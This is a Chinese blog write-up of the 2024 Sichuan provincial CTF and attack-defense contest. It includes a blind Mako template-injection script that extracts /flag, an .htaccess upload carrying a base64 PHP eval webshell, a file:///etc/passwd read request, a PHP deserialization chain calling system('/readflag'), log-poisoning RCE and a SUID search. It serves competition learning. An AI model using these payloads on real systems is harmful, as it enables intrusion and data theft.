四川省赛2024

baozongwi Lv5

0x01 说在前面

这次被两个哥哥带飞了,哎也就给打个下手(看脚本和信息收集还有找flag),拿了一个二等奖

ctf:21/89,awdp:13/89

0x02 question

CTF

web1

一个ssti,但是感觉又不太像ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from flask import Flask, render_template, request, redirect, url_for
from flask_mako import MakoTemplates, render_template as mako_render_template
from mako.template import Template as Mako_T
# from flask_mako import MakoTemplates

app = Flask(__name__)
mako = MakoTemplates(app)

welcome_string = """
<!DOCTYPE html>
<html>
<head>
<title>My APP</title>
<style>
body {
font-family: Arial, sans-serif;
}
.header {
background-color: #f2f2f2;
padding: 10px;
text-align: left;
}
.body {
padding: 20px;
}
</style>
</head>
<body>
<div class="header">
Welcome %s !
%%if title:
This your admin page.
%%endif
</div>
<div class="body">
<p>This is your profile。</p>
</div>
</body>
</html>
"""
welcome_message = "welcome"
black_list = ['${', 'import', 'os', 'system', 'popen', 'join', 'context', 'sys', '__', 'builtins', 'eval', 'exec', 'ord']

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
username = request.form['username']
return redirect(url_for('welcome', username=username))
return mako_render_template('index.html')

@app.route('/welcome')
def welcome():
username = request.args.get('username')
if len(username) > 42:
return "error username"
for key in black_list:
if key.upper() in username.upper():
return "bad username"
if username == "Admin":
return Mako_T(welcome_string % username).render(title=True)
return Mako_T(welcome_string % username).render(title=False)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5002)

首先有个自定义模块,其实结果应该就是渲染,只不过这里经过测试发现在

/这个路由发包会重定向到/welcome,最后测试出来发包是在

1
http://172.65.15.156:5002/welcome?username=

然后就fuzz,发现只有这个payload可以用

1
<%1%>

并且是没有回显的,这里继续测试,想到说既然没有回显那么如何判断呢,其实是差不多的,只要打出不同界面即可,这里是500的界面(说着简单,测了老久了)

最后本地测试盲注语句

1
2
3
<%if open('/flag').read(1)[0]=='f':1/0%>

<%if open('/flag').read(2)[1]=='l':1/0%>

那么就很简单了,并且刚好是42个字符,后面增加到十位数时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890{}-"
url = "http://172.65.15.156:5002/welcome?username="
target = ""
count=0
for i in range(1, 50):
for j in strings:
payload = "<%if open('/flag').read({})[{}]=='{}':1/0%>".format(i, count, j)
r = requests.get(url=url + payload)
if r.status_code == 500:
print(j)
count+=1
target += j
break

print(target)

web2

进网站目录,发现阿帕奇,查看过滤名单,典型的htaccess和jpg文件,只不过这里会有点特殊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
define('UPLOAD_PATH', '/var/www/html/uploads');
$msg = null;
$is_upload = false;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

管他的先把数据包写出来发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/1.1
Host: 题目地址
Content-Length: 299
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary13s1QfAJff35ZBqb
Accept: */*
Origin: null
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary13s1QfAJff35ZBqb
Content-Disposition: form-data; name="submit"



‡ö
------WebKitFormBoundary13s1QfAJff35ZBqb
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: image/jpeg

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg
------WebKitFormBoundary13s1QfAJff35ZBqb--

然后上传jpg

1
2
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

,诶咋一看,这不直接秒了,这里有点特殊,是个条件竞争,使用bp竞争,之前一直都是多线程,今天也是学到了怎么用bp

1

我忘记截图了,所以就用学长的

1

后面也是成功命令执行了

awdp

superadmin_php

日志包含,先看源码

sys-log.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "api/conn.php";
foreach ($pdo->query('SELECT * from logs') as $row) {
$str = <<<EOF
<tr>
<td>
CONTENT
</td>
</tr>
EOF;
$str = str_replace("CONTENT",htmlspecialchars($row[1]),$str);
echo $str;
if(!preg_match("/php/i", $str)) {
file_put_contents("temp/.temp", htmlspecialchars_decode($str));
include "temp/.temp";
unlink("temp/.temp");
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
<?php
date_default_timezone_set("PRC");
error_reporting(0);
session_start();
$LOG = "访问日期:".date("Y-m-d H:i:s ")."IP:".$_SERVER['REMOTE_ADDR']." UA:".$_SERVER['HTTP_USER_AGENT'];
include "api/savelog.php";
if (!$_SESSION['user']){
$_SESSION['user'] = substr(md5(time()),3,8);
}
?>

fix(done)

直接加墙就可以了

break(done)

我们测试(我每个界面都抓包难绷),最后找到在日志UA头里面可以进行RCE,并且在日志管理界面进行回显的查看

神奇的个人信息录入系统

break(done)

没有源码不过我一看那个地方就可以进行xss,于是试了一下文件读取,成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: 172.65.15.66
Content-Length: 46
Cache-Control: max-age=0
Origin: http://172.65.15.66
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.65.15.66/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

name=baozongwi&age=12&gender=Other&bio_url=file:///etc/passwd

然后读取源码发现是个框架的pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
<?php
namespace App\Processor;

interface IProcess {
public function process();
}

abstract class BaseHandler {
public $functionName;
public $functionArgs;

public function __construct($functionName, $functionArgs = []) {
$this->functionName = $functionName;
$this->functionArgs = $functionArgs;
}

abstract public function execute();
}

class FileHandler extends BaseHandler {
private $isAllowed;

public function __construct($functionName, $functionArgs = [], $isAllowed = false) {
parent::__construct($functionName, $functionArgs);
$this->isAllowed = $isAllowed;
}

public function execute() {
if ($this->isAllowed) {
return call_user_func_array($this->functionName, $this->functionArgs);
}
return 'Execution not allowed';
}
}

class FileReader implements IProcess {
private $handler;
private $isReady;

public function __construct(FileHandler $handler, $isReady = false) {
$this->handler = $handler;
$this->isReady = $isReady;
}

public function process() {
if ($this->isReady) {
return $this->handler->execute();
}
return 'FileReader not ready';
}
}

class Action {
private $reader;
private $isInitialized;

public function __construct(FileReader $reader, $isInitialized = false) {
$this->reader = $reader;
$this->isInitialized = $isInitialized;
}

public function execute() {
if ($this->isInitialized) {
return $this->reader->process();
}
return 'Action not initialized';
}
}

class Task {
private $action;
private $isSet;

public function __construct(Action $action, $isSet = false) {
$this->action = $action;
$this->isSet = $isSet;
}

public function run() {
if ($this->isSet) {
return $this->action->execute();
}
return 'Task not set';
}
}

class Processor {
private $task;
private $isConfigured;

public function __construct(Task $task, $isConfigured = false) {
$this->task = $task;
$this->isConfigured = $isConfigured;
}

public function process() {
if ($this->isConfigured) {
return $this->task->run();
}
return 'Processor not configured';
}
}
class Configurator {
private $config;

public function __construct($config) {
$this->config = $config;
}

public function getConfig() {
return $this->config;
}

public function setConfig($config) {
$this->config = $config;
}

private function internalConfig() {
return 'Configurator internal config';
}
}

class MainProcessor {
private $processor;
private $isEnabled;

public function __construct(Processor $processor, $isEnabled = false) {
$this->processor = $processor;
$this->isEnabled = $isEnabled;
}

public function run() {
if ($this->isEnabled) {
return $this->processor->process();
}
return 'MainProcessor not enabled';
}

public function __toString() {
return $this->run();
}
}

class DataContainer {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function getData() {
return $this->data;
}

public function setData($data) {
$this->data = $data;
}

private function hiddenData() {
return 'DataContainer hidden data';
}
}



class SettingsManager {
private $settings;

public function __construct($settings) {
$this->settings = $settings;
}

public function applySettings() {
return 'SettingsManager applying ' . $this->settings;
}

public function getSettings() {
return $this->settings;
}

public function setSettings($settings) {
$this->settings = $settings;
}

private function privateSettings() {
return 'SettingsManager private settings';
}
}

class OptionHandler {
private $options;

public function __construct($options) {
$this->options = $options;
}

public function handleOptions() {
return 'OptionHandler handling ' . $this->options;
}

public function getOptions() {
return $this->options;
}

public function setOptions($options) {
$this->options = $options;
}

private function obscureOptions() {
return 'OptionHandler obscure options';
}
}

class FeatureController {
private $features;

public function __construct($features) {
$this->features = $features;
}

public function controlFeatures() {
return 'FeatureController controlling ' . $this->features;
}

public function getFeatures() {
return $this->features;
}

public function setFeatures($features) {
$this->features = $features;
}

private function specialFeatures() {
return 'FeatureController special features';
}
}

class Serializer {
public static function serialize($object) {
return base64_encode(serialize($object));
}

public static function deserialize($data) {
return unserialize(base64_decode($data));
}
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$data = $_GET['data'];
$object = Serializer::deserialize($data);
if ($object instanceof MainProcessor) {
echo $object->run();
} else {
echo "Invalid data or MainProcessor not enabled";
}
}
?>

队友写出了pop链太强了

1
cat+/proc/21/environ

环境变量找,找了半天后面想到whoami这些命令都没有办法提权,那么典型了,我们找suid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find / -perm -u=s -type f 2>/dev/null


/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/readflag
/readflag

然后/readflag,哈哈有点激动,这里忘记放pop链子了,我觉得还是挺难的,但是哥哥带飞呀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
<?php
namespace App\Processor;

interface IProcess {
public function process();
}

abstract class BaseHandler {
public $functionName;
public $functionArgs;

public function __construct($functionName, $functionArgs = []) {
$this->functionName = $functionName;
$this->functionArgs = $functionArgs;
}

abstract public function execute();
}

class FileHandler extends BaseHandler {
private $isAllowed;

public function __construct($functionName, $functionArgs = ['/readflag'], $isAllowed = true) {
parent::__construct($functionName, $functionArgs);
$this->isAllowed = $isAllowed;
}

public function execute() {
if ($this->isAllowed) {
echo '函数调用成功!';
return call_user_func_array($this->functionName, $this->functionArgs);
}
return 'Execution not allowed';
}
}

class FileReader implements IProcess {
private $handler;
private $isReady;

public function __construct(FileHandler $handler, $isReady = true) {
$this->handler = $handler;
$this->isReady = $isReady;
}

public function process() {
if ($this->isReady) {
return $this->handler->execute();
}
return 'FileReader not ready';
}
}

class Action {
private $reader;
private $isInitialized;

public function __construct(FileReader $reader, $isInitialized = true) {
$this->reader = $reader;
$this->isInitialized = $isInitialized;
}

public function execute() {
if ($this->isInitialized) {
return $this->reader->process();
}
return 'Action not initialized';
}
}

class Task {
private $action;
private $isSet;

public function __construct(Action $action, $isSet = true) {
$this->action = $action;
$this->isSet = $isSet;
}

public function run() {
if ($this->isSet) {
return $this->action->execute();
}
return 'Task not set';
}
}

class Processor {
private $task;
private $isConfigured;

public function __construct(Task $task, $isConfigured = true) {
$this->task = $task;
$this->isConfigured = $isConfigured;
}

public function process() {
if ($this->isConfigured) {
return $this->task->run();
}
return 'Processor not configured';
}
}
class Configurator {
private $config;

public function __construct($config) {
$this->config = $config;
}

public function getConfig() {
return $this->config;
}

public function setConfig($config) {
$this->config = $config;
}

private function internalConfig() {
return 'Configurator internal config';
}
}

class MainProcessor {
private $processor;
private $isEnabled;

public function __construct(Processor $processor, $isEnabled = true) {
$this->processor = $processor;
$this->isEnabled = $isEnabled;
}

public function run() {
if ($this->isEnabled) {
return $this->processor->process();
}
return 'MainProcessor not enabled';
}

public function __toString() {
return $this->run();
}
}

class DataContainer {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function getData() {
return $this->data;
}

public function setData($data) {
$this->data = $data;
}

private function hiddenData() {
return 'DataContainer hidden data';
}
}



class SettingsManager {
private $settings;

public function __construct($settings) {
$this->settings = $settings;
}

public function applySettings() {
return 'SettingsManager applying ' . $this->settings;
}

public function getSettings() {
return $this->settings;
}

public function setSettings($settings) {
$this->settings = $settings;
}

private function privateSettings() {
return 'SettingsManager private settings';
}
}

class OptionHandler {
private $options;

public function __construct($options) {
$this->options = $options;
}

public function handleOptions() {
return 'OptionHandler handling ' . $this->options;
}

public function getOptions() {
return $this->options;
}

public function setOptions($options) {
$this->options = $options;
}

private function obscureOptions() {
return 'OptionHandler obscure options';
}
}

class FeatureController {
private $features;

public function __construct($features) {
$this->features = $features;
}

public function controlFeatures() {
return 'FeatureController controlling ' . $this->features;
}

public function getFeatures() {
return $this->features;
}

public function setFeatures($features) {
$this->features = $features;
}

private function specialFeatures() {
return 'FeatureController special features';
}
}

class Serializer {
public static function serialize($object) {
return base64_encode(serialize($object));
}

public static function deserialize($data) {
return unserialize(base64_decode($data));
}
}

$filehander1 =new FileHandler("system");
$filereader1 =new FileReader($filehander1);
$action1 =new Action($filereader1);
$task1 =new Task($action1);
$processor =new Processor($task1);
$configurator1 =new Configurator("123");
$mainProcessor1= new MainProcessor($processor);
$sere_64=Serializer::serialize($mainProcessor1);
echo ($sere_64);
$object = Serializer::deserialize($sere_64);
if ($object instanceof MainProcessor) {
echo $object->run();
} else {
echo "Invalid data or MainProcessor not enabled";
}

?>


fix(done)

修了很久😔,欸不过队友终于是好了,把所有危险函数和类似的常见的{}这一类符号,全部加到我们RCE的地方,就可以了

usersystem

break(stuck)

先扫描发现一个文件,下载之后拿到路由

1
2
3
4
System/Volumes/Data/Users/fmyyy/phpdebug/config.php


clas sdsclbool config php ptbLustr)

然后发现了这个函数,本地测试是过了通过闭合语句,但是结果还是不行哎呀呀😫

1
<?php echo htmlspecialchars('1');echo `whoami`;('1');?>

但是拼接到网页就是不对emm,附件没什么特别的,就不放了

fix(done)

最后我们选择上通防,结果成功了

readfile

break(done)

直接就读了,当时看到是java很怕怕,不过没看代码进去就干了

1
file:///flag

txtcms

break(stuck)

是一个2014的CMS,找了文档奇葩没找到,这得多冷门啊,扫描后台发现这个东西

1
2
3
4
[00:03:16] 301 -  313B  - /static  ->  http://172.65.15.68/static/          
[00:03:18] 200 - 448B - /uploads/
[00:03:18] 301 - 314B - /uploads -> http://172.65.15.68/uploads/
[00:03:20] 200 - 1MB - /www.zip

拿到源码之后依然是框架,这里我们拿到了东西,可以直接进后台

1
2
3
index.php?Admin-Login-index.html

admin\admin

然后进了后台好像就广告位有点东西,其他的不知道了

0x03 小结

下来之后要学学misc了,明年就算我一个人也要二等奖

  • Title: 四川省赛2024
  • Author: baozongwi
  • Created at : 2024-10-19 19:52:26
  • Updated at : 2024-10-20 22:21:02
  • Link: https://baozongwi.xyz/2024/10/19/四川省赛2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments